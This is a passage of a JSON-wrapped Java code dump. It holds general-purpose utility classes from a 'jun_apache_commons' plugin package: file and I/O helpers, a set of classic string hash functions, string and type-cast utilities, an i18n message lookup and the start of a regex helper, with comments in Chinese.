    "content": "package com.jun.plugin.commons.util;\n\nimport java.io.BufferedReader;\nimport java.io.BufferedWriter;\nimport java.io.Closeable;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.io.OutputStream;\nimport java.io.OutputStreamWriter;\nimport java.io.PrintWriter;\nimport java.net.URL;\nimport java.util.Collection;\n\n/**\n * 文件工具类\n * @author Wujun\n *\n */\npublic class FileUtil {\n\t/**\n\t * 创建文件，如果这个文件存在，直接返回这个文件\n\t * @param fullFilePath 文件的全路径，使用POSIX风格\n\t * @return 文件\n\t * @throws IOException\n\t */\n\tpublic static File touch(String fullFilePath) throws IOException {\n\t\tFile file = new File(fullFilePath);\n\t\tfile.getParentFile().mkdirs();\n\t\tif(!file.exists()) file.createNewFile();\n\t\treturn file;\n\t}\n\t\n\t/**\n\t * 创建文件夹，如果存在直接返回此文件夹\n\t * @param dirPath 文件夹路径，使用POSIX格式，无论哪个平台\n\t * @return 创建的目录\n\t */\n\tpublic static File mkdir(String dirPath){\n\t\tFile dir = new File(dirPath);\n\t\tdir.mkdirs();\n\t\treturn dir;\n\t}\n\t\n\t/**\n\t * 获取绝对路径<br/>\n\t * 此方法不会判定给定路径是否有效（文件或目录存在）\n\t * @param path 相对路径\n\t * @param baseClass 相对路径所相对的类\n\t * @return 绝对路径\n\t */\n\tpublic static String getAbsolutePath(String path, Class<?> baseClass){\n\t\tif(path == null) return null;\n\t\tif(baseClass == null) {\n\t\t\tClassLoader classLoader = FileUtil.class.getClassLoader();\n\t\t\tURL url = classLoader.getResource(path);\n\t\t\tif(url != null) {\n\t\t\t\treturn url.getPath();\n\t\t\t}else {\n\t\t\t\treturn classLoader.getResource(\"\").getPath() + path;\n\t\t\t}\n\t\t}\n\t\treturn baseClass.getResource(path).getPath();\n\t}\n\t\n\t/**\n\t * 获取绝对路径，相对于classes的根目录\n\t * @param pathBaseClassLoader 相对路径\n\t * @return 绝对路径\n\t */\n\tpublic static String getAbsolutePath(String pathBaseClassLoader){\n\t\treturn getAbsolutePath(pathBaseClassLoader, null);\n\t}\n\n\t/**\n\t * 文件是否存在\n\t * @param path 文件路径\n\t * @return 是否存在\n\t */\n\tpublic static boolean isExist(String path){\n\t\treturn  new File(path).exists();\n\t}\n\t\n\t/**\n\t * 关闭\n\t * @param closeable 被关闭的对象\n\t */\n\tpublic static void close(Closeable closeable){\n\t\tif(closeable == null) return;\n\t\ttry {\n\t\t\tcloseable.close();\n\t\t} catch (IOException e) {\n\t\t}\n\t}\n\t\n\t/**\n\t * 获得一个带缓存的写入对象\n\t * @param path 输出路径，绝对路径\n\t * @param charset 字符集\n\t * @param isAppend 是否追加\n\t * @return BufferedReader对象\n\t * @throws IOException\n\t */\n\tpublic static BufferedWriter getBufferedWriter(String path, String charset, boolean isAppend) throws IOException {\n\t\treturn new BufferedWriter(\n\t\t\t\t\tnew OutputStreamWriter(\n\t\t\t\t\t\t\tnew FileOutputStream(touch(path), isAppend), charset\n\t\t\t\t\t)\n\t\t);\n\t}\n\t\n\t/**\n\t * 获得一个打印写入对象，可以有print\n\t * @param path 输出路径，绝对路径\n\t * @param charset 字符集\n\t * @param isAppend 是否追加\n\t * @return 打印对象\n\t * @throws IOException\n\t */\n\tpublic static PrintWriter getPrintWriter(String path, String charset, boolean isAppend) throws IOException {\n\t\treturn new PrintWriter(getBufferedWriter(path, charset, isAppend));\n\t}\n\n\t/**\n\t * 获得一个输出流对象\n\t * @param path 输出到的文件路径，绝对路径\n\t * @return 输出流对象\n\t * @throws IOException\n\t */\n\tpublic static OutputStream getOutputStream(String path) throws IOException {\n\t\treturn new FileOutputStream(touch(path));\n\t}\n\t\n\t/**\n\t * 清空一个目录\n\t * @param dirPath 需要删除的文件夹路径\n\t */\n\tpublic static void cleanDir(String dirPath){\n\t\tFile dir = new File(dirPath);\n\t\tif(dir.exists() && dir.isDirectory()){\n\t\t\tFile[] files = dir.listFiles();\n\t\t\tfor (File file : files) {\n\t\t\t\tif(file.isDirectory()) cleanDir(file.getAbsolutePath());\n\t\t\t\tfile.delete();\n\t\t\t}\n\t\t}\n\t}\n\t\n\t/**\n\t * 获得一个文件读取器\n\t * @param path 绝对路径\n\t * @param charset 字符集\n\t * @return BufferedReader对象\n\t * @throws IOException\n\t */\n\tpublic static BufferedReader getReader(String path, String charset) throws IOException{\n\t\treturn new BufferedReader(new InputStreamReader(new FileInputStream(path), charset));\n\t}\n\t\n\t/**\n\t * 从文件中读取每一行数据\n\t * @param path\t文件路径\n\t * @param charset\t字符集\n\t * @param collection\t集合\n\t * @return\t文件中的每行内容的集合\n\t * @throws IOException\n\t */\n\tpublic static <T extends Collection<String>> T loadFileLines(String path, String charset, T collection) throws IOException{\n\t\tBufferedReader reader = getReader(path, charset);\n\t\twhile(true){\n\t\t\tString line = reader.readLine();\n\t\t\tif(line == null) break;\n\t\t\tcollection.add(line);\n\t\t}\n\t\tclose(reader);\n\t\treturn collection;\n\t}\n\t\n\t/**\n\t * 按照给定的readerHandler读取文件中的数据\n\t * @param readerHandler Reader处理类\n\t * @param path 文件的绝对路径\n\t * @param charset 字符集\n\t * @return 从文件中load出的数据\n\t * @throws IOException\n\t */\n\tpublic static <T> T loadDataFromfile(ReaderHandler<T> readerHandler, String path, String charset) throws IOException {\n\t\tBufferedReader reader = null;\n\t\tT result = null;\n\t\ttry {\n\t\t\treader = getReader(path, charset);\n\t\t\tresult = readerHandler.handle(reader);\n\t\t} catch (IOException e) {\n\t\t\tthrow new IOException(e);\n\t\t}finally {\n\t\t\tFileUtil.close(reader);\n\t\t}\n\t\treturn result;\n\t}\n\t\n\t/**\n\t * 获得文件的扩展名\n\t * @param fileName 文件名\n\t * @return 扩展名\n\t */\n\tpublic static String getExtension(String fileName) {\n\t\tif (fileName == null) {\n\t\t\treturn null;\n\t\t}\n\t\tint index = fileName.lastIndexOf(\".\");\n\t\tif (index == -1) {\n\t\t\treturn \"\";\n\t\t} else {\n\t\t\tString ext = fileName.substring(index + 1);\n\t\t\t//扩展名中不能包含路径相关的符号\n\t\t\treturn (ext.contains(\"/\") || ext.contains(\"\\\\\")) ? \"\" : ext;\n\t\t}\n\t}\n\t\n\t/**\n\t * Reader处理接口\n\t * @author Wujun\n\t *\n\t * @param <T>\n\t */\n\tpublic interface ReaderHandler<T> {\n\t\tpublic T handle(BufferedReader reader) throws IOException;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/HashUtil.java",
    "content": "package com.jun.plugin.commons.util;\n\n/**\n * Hash算法大全<br>\n * 推荐使用FNV1算法\n * \n * @author Wujun\n */\npublic class HashUtil {\n\n\t/**\n\t * 加法hash\n\t * \n\t * @param key 字符串\n\t * @param prime 一个质数\n\t * @return hash结果\n\t */\n\tpublic static int additiveHash(String key, int prime) {\n\t\tint hash, i;\n\t\tfor (hash = key.length(), i = 0; i < key.length(); i++)\n\t\t\thash += key.charAt(i);\n\t\treturn (hash % prime);\n\t}\n\n\t/**\n\t * 旋转hash\n\t * \n\t * @param key 输入字符串\n\t * @param prime 质数\n\t * @return hash值\n\t */\n\tpublic static int rotatingHash(String key, int prime) {\n\t\tint hash, i;\n\t\tfor (hash = key.length(), i = 0; i < key.length(); ++i)\n\t\t\thash = (hash << 4) ^ (hash >> 28) ^ key.charAt(i);\n\t\t\n\t\t// 使用：hash = (hash ^ (hash>>10) ^ (hash>>20)) & mask;\n\t\t// 替代：hash %= prime;\n\t\treturn (hash % prime);\n\t\t// return (hash ^ (hash>>10) ^ (hash>>20));\n\t}\n\n\n\t/**\n\t * MASK值，随便找一个值，最好是质数\n\t */\n\tstatic int M_MASK = 0x8765fed1;\n\n\t/**\n\t * 一次一个hash\n\t * \n\t * @param key 输入字符串\n\t * @return 输出hash值\n\t */\n\tpublic static int oneByOneHash(String key) {\n\t\tint hash, i;\n\t\tfor (hash = 0, i = 0; i < key.length(); ++i) {\n\t\t\thash += key.charAt(i);\n\t\t\thash += (hash << 10);\n\t\t\thash ^= (hash >> 6);\n\t\t}\n\t\thash += (hash << 3);\n\t\thash ^= (hash >> 11);\n\t\thash += (hash << 15);\n\t\t// return (hash & M_MASK);\n\t\treturn hash;\n\t}\n\n\t/**\n\t * Bernstein's hash\n\t * \n\t * @param key 输入字节数组\n\t * @return 结果hash\n\t */\n\tpublic static int bernstein(String key) {\n\t\tint hash = 0;\n\t\tint i;\n\t\tfor (i = 0; i < key.length(); ++i)\n\t\t\thash = 33 * hash + key.charAt(i);\n\t\treturn hash;\n\t}\n\n\t/**\n\t * Universal Hashing\n\t * @param key 字节数组\n\t * @param mask 掩码\n\t * @param tab tab\n\t * @return hash值\n\t */\n\tpublic static int universal(char[] key, int mask, int[] tab) {\n\t\tint hash = key.length, i, len = key.length;\n\t\tfor (i = 0; i < (len << 3); i += 8) {\n\t\t\tchar k = key[i >> 3];\n\t\t\tif ((k & 0x01) == 0)\n\t\t\t\thash ^= tab[i + 0];\n\t\t\tif ((k & 0x02) == 0)\n\t\t\t\thash ^= tab[i + 1];\n\t\t\tif ((k & 0x04) == 0)\n\t\t\t\thash ^= tab[i + 2];\n\t\t\tif ((k & 0x08) == 0)\n\t\t\t\thash ^= tab[i + 3];\n\t\t\tif ((k & 0x10) == 0)\n\t\t\t\thash ^= tab[i + 4];\n\t\t\tif ((k & 0x20) == 0)\n\t\t\t\thash ^= tab[i + 5];\n\t\t\tif ((k & 0x40) == 0)\n\t\t\t\thash ^= tab[i + 6];\n\t\t\tif ((k & 0x80) == 0)\n\t\t\t\thash ^= tab[i + 7];\n\t\t}\n\t\treturn (hash & mask);\n\t}\n\n\t/**\n\t * Zobrist Hashing\n\t * @param key 字节数组\n\t * @param mask 掩码\n\t * @param tab tab\n\t * @return hash值\n\t */\n\tpublic static int zobrist(char[] key, int mask, int[][] tab) {\n\t\tint hash, i;\n\t\tfor (hash = key.length, i = 0; i < key.length; ++i)\n\t\t\thash ^= tab[i][key[i]];\n\t\treturn (hash & mask);\n\t}\n\n\t// LOOKUP3\n\t// 见Bob Jenkins(3).c文件\n\n\t// 32位FNV算法\n\tstatic int M_SHIFT = 0;\n\n\t/**\n\t * 32位的FNV算法\n\t * \n\t * @param data 数组\n\t * @return hash结果\n\t */\n\tpublic static int FNVHash(byte[] data) {\n\t\tint hash = (int) 2166136261L;\n\t\tfor (byte b : data)\n\t\t\thash = (hash * 16777619) ^ b;\n\t\tif (M_SHIFT == 0)\n\t\t\treturn hash;\n\t\treturn (hash ^ (hash >> M_SHIFT)) & M_MASK;\n\t}\n\n\t/**\n\t * 改进的32位FNV算法1\n\t * \n\t * @param data 数组\n\t * @return hash结果\n\t */\n\tpublic static int FNVHash1(byte[] data) {\n\t\tfinal int p = 16777619;\n\t\tint hash = (int) 2166136261L;\n\t\tfor (byte b : data)\n\t\t\thash = (hash ^ b) * p;\n\t\thash += hash << 13;\n\t\thash ^= hash >> 7;\n\t\thash += hash << 3;\n\t\thash ^= hash >> 17;\n\t\thash += hash << 5;\n\t\treturn hash;\n\t}\n\n\t/**\n\t * 改进的32位FNV算法1\n\t * \n\t * @param data 字符串\n\t * @return hash结果\n\t */\n\tpublic static int FNVHash1(String data) {\n\t\tfinal int p = 16777619;\n\t\tint hash = (int) 2166136261L;\n\t\tfor (int i = 0; i < data.length(); i++)\n\t\t\thash = (hash ^ data.charAt(i)) * p;\n\t\thash += hash << 13;\n\t\thash ^= hash >> 7;\n\t\thash += hash << 3;\n\t\thash ^= hash >> 17;\n\t\thash += hash << 5;\n\t\treturn hash;\n\t}\n\n\t/**\n\t * Thomas Wang的算法，整数hash\n\t * @param key 整数\n\t * @return hash值\n\t */\n\tpublic static int intHash(int key) {\n\t\tkey += ~(key << 15);\n\t\tkey ^= (key >>> 10);\n\t\tkey += (key << 3);\n\t\tkey ^= (key >>> 6);\n\t\tkey += ~(key << 11);\n\t\tkey ^= (key >>> 16);\n\t\treturn key;\n\t}\n\n\t/**\n\t * RS算法hash\n\t * @param str 字符串\n\t * @return hash值\n\t */\n\tpublic static int RSHash(String str) {\n\t\tint b = 378551;\n\t\tint a = 63689;\n\t\tint hash = 0;\n\n\t\tfor (int i = 0; i < str.length(); i++) {\n\t\t\thash = hash * a + str.charAt(i);\n\t\t\ta = a * b;\n\t\t}\n\n\t\treturn (hash & 0x7FFFFFFF);\n\t}\n\n\t/**\n\t * JS算法\n\t * @param str 字符串\n\t * @return hash值\n\t */\n\tpublic static int JSHash(String str) {\n\t\tint hash = 1315423911;\n\n\t\tfor (int i = 0; i < str.length(); i++) {\n\t\t\thash ^= ((hash << 5) + str.charAt(i) + (hash >> 2));\n\t\t}\n\n\t\treturn (hash & 0x7FFFFFFF);\n\t}\n\n\t/**\n\t * PJW算法\n\t * @param str 字符串\n\t * @return hash值\n\t */\n\tpublic static int PJWHash(String str) {\n\t\tint BitsInUnsignedInt = 32;\n\t\tint ThreeQuarters = (BitsInUnsignedInt * 3) / 4;\n\t\tint OneEighth = BitsInUnsignedInt / 8;\n\t\tint HighBits = 0xFFFFFFFF << (BitsInUnsignedInt - OneEighth);\n\t\tint hash = 0;\n\t\tint test = 0;\n\n\t\tfor (int i = 0; i < str.length(); i++) {\n\t\t\thash = (hash << OneEighth) + str.charAt(i);\n\n\t\t\tif ((test = hash & HighBits) != 0) {\n\t\t\t\thash = ((hash ^ (test >> ThreeQuarters)) & (~HighBits));\n\t\t\t}\n\t\t}\n\n\t\treturn (hash & 0x7FFFFFFF);\n\t}\n\n\t/**\n\t * ELF算法\n\t * @param str 字符串\n\t * @return hash值\n\t */\n\tpublic static int ELFHash(String str) {\n\t\tint hash = 0;\n\t\tint x = 0;\n\n\t\tfor (int i = 0; i < str.length(); i++) {\n\t\t\thash = (hash << 4) + str.charAt(i);\n\t\t\tif ((x = (int) (hash & 0xF0000000L)) != 0) {\n\t\t\t\thash ^= (x >> 24);\n\t\t\t\thash &= ~x;\n\t\t\t}\n\t\t}\n\n\t\treturn (hash & 0x7FFFFFFF);\n\t}\n\n\t/**\n\t * BKDR算法\n\t * @param str 字符串\n\t * @return hash值\n\t */\n\tpublic static int BKDRHash(String str) {\n\t\tint seed = 131; // 31 131 1313 13131 131313 etc..\n\t\tint hash = 0;\n\n\t\tfor (int i = 0; i < str.length(); i++) {\n\t\t\thash = (hash * seed) + str.charAt(i);\n\t\t}\n\n\t\treturn (hash & 0x7FFFFFFF);\n\t}\n\n\t/**\n\t * SDBM算法\n\t * @param str 字符串\n\t * @return hash值\n\t */\n\tpublic static int SDBMHash(String str) {\n\t\tint hash = 0;\n\n\t\tfor (int i = 0; i < str.length(); i++) {\n\t\t\thash = str.charAt(i) + (hash << 6) + (hash << 16) - hash;\n\t\t}\n\n\t\treturn (hash & 0x7FFFFFFF);\n\t}\n\n\t/**\n\t * DJB算法\n\t * @param str 字符串\n\t * @return hash值\n\t */\n\tpublic static int DJBHash(String str) {\n\t\tint hash = 5381;\n\n\t\tfor (int i = 0; i < str.length(); i++) {\n\t\t\thash = ((hash << 5) + hash) + str.charAt(i);\n\t\t}\n\n\t\treturn (hash & 0x7FFFFFFF);\n\t}\n\n\t/**\n\t * DEK算法\n\t * @param str 字符串\n\t * @return hash值\n\t */\n\tpublic static int DEKHash(String str) {\n\t\tint hash = str.length();\n\n\t\tfor (int i = 0; i < str.length(); i++) {\n\t\t\thash = ((hash << 5) ^ (hash >> 27)) ^ str.charAt(i);\n\t\t}\n\n\t\treturn (hash & 0x7FFFFFFF);\n\t}\n\n\t/**\n\t * AP算法\n\t * @param str 字符串\n\t * @return hash值\n\t */\n\tpublic static int APHash(String str) {\n\t\tint hash = 0;\n\n\t\tfor (int i = 0; i < str.length(); i++) {\n\t\t\thash ^= ((i & 1) == 0) ? ((hash << 7) ^ str.charAt(i) ^ (hash >> 3))\n\t\t\t\t\t: (~((hash << 11) ^ str.charAt(i) ^ (hash >> 5)));\n\t\t}\n\n\t\t// return (hash & 0x7FFFFFFF);\n\t\treturn hash;\n\t}\n\n\t/**\n\t * JAVA自己带的算法\n\t * @param str 字符串\n\t * @return hash值\n\t */\n\tpublic static int javaDefaultHash(String str) {\n\t\tint h = 0;\n\t\tint off = 0;\n\t\tint len = str.length();\n\t\tfor (int i = 0; i < len; i++) {\n\t\t\th = 31 * h + str.charAt(off++);\n\t\t}\n\t\treturn h;\n\t}\n\n\t/**\n\t * 混合hash算法，输出64位的值\n\t * @param str 字符串\n\t * @return hash值\n\t */\n\tpublic static long mixHash(String str) {\n\t\tlong hash = str.hashCode();\n\t\thash <<= 32;\n\t\thash |= FNVHash1(str);\n\t\treturn hash;\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/IoUtil.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.Reader;\nimport java.io.Writer;\n\npublic class IoUtil {\n\t\n\tprivate static int ioBufferSize = 16;\n\t\n\t/**\n\t * 将Reader中的内容复制到Writer中\n\t */\n\tpublic static int copy(Reader input, Writer output) throws IOException {\n\t\tchar[] buffer = new char[ioBufferSize];\n\t\tint count = 0;\n\t\tint readSize;\n\t\twhile ((readSize = input.read(buffer, 0, ioBufferSize)) >= 0) {\n\t\t\toutput.write(buffer, 0, readSize);\n\t\t\tcount += readSize;\n\t\t}\n\t\toutput.flush();\n\t\treturn count;\n\t}\n\t\n\t/**\n\t * 从流中读取内容\n\t * @param in\t输入流\n\t * @param charset\t字符集\n\t * @return\t内容\n\t * @throws IOException\n\t */\n\tpublic static String getStringFromStream(InputStream in, String charset) throws IOException {\n\t\tStringBuilder content = new StringBuilder(); // 存储返回的内容\n\n\t\t// 从返回的内容中读取所需内容\n\t\tBufferedReader reader = new BufferedReader(new InputStreamReader(in, charset));\n\t\tString line = null;\n\t\twhile ((line = reader.readLine()) != null) {\n\t\t\tcontent.append(line);\n\t\t}\n\t\t\n\t\treturn content.toString();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/LangUtil.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport java.io.UnsupportedEncodingException;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Random;\n\npublic class LangUtil {\n\t\n\t/**\n\t * 字符串是否为空 空的定义如下： <br/>\n\t * 1、为null <br/>\n\t * 2、为不可见字符（如空格）<br/>\n\t * 3、\"\"<br/>\n\t * \n\t * @param str 被检测的字符串\n\t * @return 是否为空\n\t */\n\tpublic static boolean isEmpty(String str) {\n\t\treturn (str == null || str.trim().length() == 0) ? true : false;\n\t}\n\n\t/**\n\t * 获得一个随机的字符串\n\t * \n\t * @param length 字符串的长度\n\t * @return 随机字符串\n\t */\n\tpublic static String getRandomString(int length) {\n\t\tRandom random = new Random();\n\t\tStringBuffer sb = new StringBuffer();\n\n\t\tif (length < 1) {\n\t\t\tlength = 1;\n\t\t}\n\t\tString base = \"abcdefghijklmnopqrstuvwxyz0123456789\";\n\t\tfor (int i = 0; i < length; i++) {\n\t\t\tint number = random.nextInt(base.length());\n\t\t\tsb.append(base.charAt(number));\n\t\t}\n\t\treturn sb.toString();\n\t}\n\n\t/**\n\t * 强制转换类型\n\t * @param clazz 被转换成的类型\n\t * @param value 需要转换的对象\n\t * @return 转换后的对象\n\t */\n\tpublic static Object cast(Class<?> clazz, Object value) {\n\t\ttry {\n\t\t\treturn clazz.cast(value);\n\t\t} catch (ClassCastException e) {\n\t\t\tString value_string = String.valueOf(value);\n\t\t\tswitch (BASIC_TYPE.valueOf(clazz.getName().toUpperCase())) {\n\t\t\t\tcase INT:\n\t\t\t\t\treturn Integer.parseInt(value_string);\n\t\t\t\tcase LONG:\n\t\t\t\t\treturn Long.parseLong(value_string);\n\t\t\t\tcase DOUBLE:\n\t\t\t\t\treturn Double.parseDouble(value_string);\n\t\t\t\tcase FLOAT:\n\t\t\t\t\treturn Float.parseFloat(value_string);\n\t\t\t\tcase BOOLEAN:\n\t\t\t\t\treturn Boolean.parseBoolean(value_string);\n\t\t\t\tdefault:\n\t\t\t\t\treturn value;\n\t\t\t}\n\t\t}\n\t}\n\t\n\t/**\n\t * 获得set或get方法对应的标准属性名<br/>\n\t * 例如：setName 返回 name\n\t * @param methodNameWithGet\n\t * @return 如果是set或get方法名，返回field， 否则null\n\t */\n\tpublic static String getGeneralField(String methodNameWithGet){\n\t\tif(methodNameWithGet.startsWith(\"get\") || methodNameWithGet.startsWith(\"set\")) {\n\t\t\treturn cutPreAndLowerFirst(methodNameWithGet, 3);\n\t\t}\n\t\treturn null;\n\t}\n\t\n\t/**\n\t * 生成set方法名<br/>\n\t * 例如：name 返回 setName\n\t * @param fieldName 属性名\n\t * @return setXxx\n\t */\n\tpublic static String genSetter(String fieldName){\n\t\treturn upperFirstAndAddPre(fieldName, \"set\");\n\t}\n\t\n\t/**\n\t * 生成get方法名\n\t * @param fieldName 属性名\n\t * @return getXxx\n\t */\n\tpublic static String genGetter(String fieldName){\n\t\treturn upperFirstAndAddPre(fieldName, \"get\");\n\t}\n\t\n\t/**\n\t * 去掉首部指定长度的字符串并将剩余字符串首字母小写<br/>\n\t * 例如：str=setName, preLength=3 -> return name\n\t * @param str 被处理的字符串\n\t * @param preLength 去掉的长度\n\t * @return 处理后的字符串，不符合规范返回null\n\t */\n\tpublic static String cutPreAndLowerFirst(String str, int preLength) {\n\t\tif(str == null) {\n\t\t\treturn null;\n\t\t}\n\t\tif(str.length() > preLength) {\n\t\t\tchar first = Character.toLowerCase(str.charAt(preLength));\n\t\t\tif(str.length() > preLength +1) {\n\t\t\t\treturn first +  str.substring(preLength +1);\n\t\t\t}\n\t\t\treturn String.valueOf(first);\n\t\t}\n\t\treturn null;\n\t}\n\t\n\t/**\n\t * 原字符串首字母大写并在其首部添加指定字符串\n\t * 例如：str=name, preString=get -> return getName\n\t * @param str 被处理的字符串\n\t * @param preString 添加的首部\n\t * @return 处理后的字符串\n\t */\n\tpublic static String upperFirstAndAddPre(String str, String preString) {\n\t\tif(str == null || preString == null) {\n\t\t\treturn null;\n\t\t}\n\t\treturn preString + Character.toUpperCase(str.charAt(0)) + str.substring(1);\n\t}\n\t\n\t/**\n\t * 切分字符串<br/>\n\t * a#b#c -> [a,b,c]\n\t * a##b#c -> [a,\"\",b,c]\n\t * @param str 被切分的字符串\n\t * @param separator 分隔符字符\n\t * @return 切分后的集合\n\t */\n\tpublic static List<String> split(String str, char separator) {\n\t\treturn split(str, separator, 0);\n\t}\n\t\n\t/**\n\t * 切分字符串\n\t * @param str 被切分的字符串\n\t * @param separator 分隔符字符\n\t * @param limit 限制分片数\n\t * @return 切分后的集合\n\t */\n\tpublic static List<String> split(String str, char separator, int limit){\n\t\tif(str == null) {\n\t\t\treturn null;\n\t\t}\n\t\tList<String> list = new ArrayList<String>(limit == 0 ? 16 : limit);\n\t\tif(limit == 1) {\n\t\t\tlist.add(str);\n\t\t\treturn list;\n\t\t}\n\t\t\n\t\tboolean isNotEnd = true;\t//未结束切分的标志\n\t\tint strLen = str.length();\n\t\tStringBuilder sb = new StringBuilder(strLen);\n\t\tfor(int i=0; i < strLen; i++) {\n\t\t\tchar c = str.charAt(i);\n\t\t\tif(isNotEnd && c == separator) {\n\t\t\t\tlist.add(sb.toString());\n\t\t\t\t//清空StringBuilder\n\t\t\t\tsb.delete(0, sb.length());\n\t\t\t\t\n\t\t\t\t//当达到切分上限-1的量时，将所剩字符全部作为最后一个串\n\t\t\t\tif(limit !=0 && list.size() == limit-1) {\n\t\t\t\t\tisNotEnd = false;\n\t\t\t\t}\n\t\t\t}else {\n\t\t\t\tsb.append(c);\n\t\t\t}\n\t\t}\n\t\tlist.add(sb.toString());\n\t\treturn list;\n\t}\n\t\n\t/**\n\t * 重复某个字符\n\t * @param c 被重复的字符\n\t * @param count 重复的数目\n\t * @return 重复字符字符串\n\t */\n\tpublic static String repeat(char c, int count) {\n\t\tchar[] result = new char[count];\n\t\tfor (int i = 0; i < count; i++) {\n\t\t\tresult[i] = c;\n\t\t}\n\t\treturn new String(result);\n\t}\n\t\n\t/**\n\t * 给定字符串转换字符编码<br/>\n\t * 如果参数为空，则返回原字符串，不报错。\n\t * @param str 被转码的字符串\n\t * @param sourceCharset 原字符集\n\t * @param destCharset 目标字符集\n\t * @return 转换后的字符串\n\t */\n\tpublic static String transCharset(String str, String sourceCharset, String destCharset) {\n\t\tif(LangUtil.isEmpty(str) || LangUtil.isEmpty(sourceCharset) || LangUtil.isEmpty(destCharset)) {\n\t\t\treturn str;\n\t\t}\n\t\ttry {\n\t\t\treturn new String(str.getBytes(sourceCharset), destCharset);\n\t\t} catch (UnsupportedEncodingException e) {\n\t\t\treturn str;\n\t\t}\n\t}\n\n\t/**\n\t * 基本变量类型的枚举\n\t * @author Wujun\n\t *\n\t */\n\tprivate static enum BASIC_TYPE {\n\t\tINT(\"int\"), LONG(\"long\"), DOUBLE(\"double\"), FLOAT(\"float\"), BOOLEAN(\"boolean\"), CHAR(\"char\");\n\t\t\n\t\tprivate Object value;\n\t\tprivate BASIC_TYPE(String value) {\n\t\t\tthis.value = value;\n\t\t}\n\t\t@Override\n\t\tpublic String toString() {\n\t\t\treturn this.name() + \" : \" + value;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/MessageUtils.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport java.util.HashMap;\nimport java.util.Locale;\nimport java.util.Map;\nimport java.util.ResourceBundle;\n\nimport com.jun.plugin.commons.util.apiext.StringUtil;\n\npublic class MessageUtils {\n\tprivate static Map<String, ResourceBundle> messagesMap = new HashMap<String, ResourceBundle>();// util包用的message\n\tprivate static final String DEFAULTKEY = \"default\";\n\n\tstatic {\n\t\tmessagesMap.put(DEFAULTKEY,\n\t\t\t\tResourceBundle.getBundle(\"I18N/MessageBundleUtil\"));\n\t}\n\n\t/****\n\t * 通过语言得到国际化信息\n\t * \n\t * @param lang\n\t * @return\n\t */\n\tpublic static ResourceBundle getResourceBundleByLang(String lang) {\n\t\tLocale locale = StringUtil.isNull(lang) ? null : new Locale(lang);\n\t\treturn getResourceBundleByLang(locale);\n\t}\n\n\t/****\n\t * 通过Locale得到国际化信息\n\t * \n\t * @param locale\n\t * @return\n\t */\n\tpublic static ResourceBundle getResourceBundleByLang(Locale locale) {\n\t\tlocale = locale == null ? Locale.getDefault() : locale;\n\t\tif (messagesMap.size() > 0\n\t\t\t\t&& messagesMap.get(locale.getLanguage()) != null) {\n\t\t\treturn messagesMap.get(locale.getLanguage());\n\t\t} else {\n\t\t\tResourceBundle ret = ResourceBundle.getBundle(\n\t\t\t\t\t\"I18N/MessageBundleUtil\", locale);\n\t\t\tif (ret == null) {\n\t\t\t\tret = messagesMap.get(DEFAULTKEY);\n\t\t\t}\n\t\t\tmessagesMap.put(locale.getLanguage(), ret);\n\t\t\treturn ret;\n\t\t}\n\t}\n\n\t/****\n\t * 得到某国际化的对应key的解释\n\t * \n\t * @param lang\n\t * @param key\n\t * @return\n\t */\n\tpublic static String get(String lang, String key) {\n\t\tlang = StringUtil.isNull(lang) ? Locale.getDefault().getLanguage()\n\t\t\t\t: lang;\n\t\tif (StringUtil.isNull(key)) {\n\t\t\treturn \"\";\n\t\t}\n\t\tResourceBundle curBundle = getResourceBundleByLang(lang);\n\t\tString retstr = curBundle.getString(key);\n\t\tif (StringUtil.isNull(retstr)) {\n\t\t\tretstr = messagesMap.get(DEFAULTKEY).getString(key);\n\t\t}\n\t\treturn retstr;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/RegexUtil.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport java.util.Collection;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n/**\n * 正则相关工具类\n * \n * @author Wujun\n */\npublic class RegexUtil {\n\n\tprivate RegexUtil() {\n\t\t//阻止实例化\n\t}\n\n\t/**\n\t * 获得匹配的字符串\n\t * \n\t * @param regex 匹配的正则\n\t * @param content 被匹配的内容\n\t * @param groupIndex 匹配正则的分组序号\n\t * @return 匹配后得到的字符串，未匹配返回null\n\t */\n\tpublic static String get(String regex, String content, int groupIndex) {\n\t\tMatcher matcher = Pattern.compile(regex, Pattern.MULTILINE).matcher(content);\n\t\tif (matcher.find()) {\n\t\t\treturn matcher.group(groupIndex);\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 删除匹配的内容\n\t * \n\t * @param regex 正则\n\t * @param content 被匹配的内容\n\t * @return 删除后剩余的内容\n\t */\n\tpublic static String delFirst(String regex, String content) {\n\t\treturn content.replaceFirst(regex, \"\");\n\t}\n\n\t/**\n\t * 删除正则匹配到的内容之前的字符 如果没有找到，则返回原文\n\t * \n\t * @param regex 定位正则\n\t * @param content 被查找的内容\n\t * @return 删除前缀后的新内容\n\t */\n\tpublic static String delPreLocation(String regex, String content) {\n\t\tMatcher matcher = Pattern.compile(regex, Pattern.MULTILINE).matcher(content);\n\t\tif (matcher.find()) {\n\t\t\treturn content.substring(matcher.end(), content.length());\n\t\t}\n\t\treturn content;\n\t}\n\n\t/**\n\t * 取得内容中匹配的所有结果\n\t * \n\t * @param regex 正则\n\t * @param content 被查找的内容\n\t * @param group 正则的分组\n\t * @param collection 返回的集合类型\n\t * @return 结果集\n\t */\n\t@Deprecated\n\tpublic static <T extends Collection<String>> T gets(String regex, String content, int group, T collection) {\n\t\twhile (true) {\n\t\t\tString result = get(regex, content, group);\n\t\t\tif (result == null) 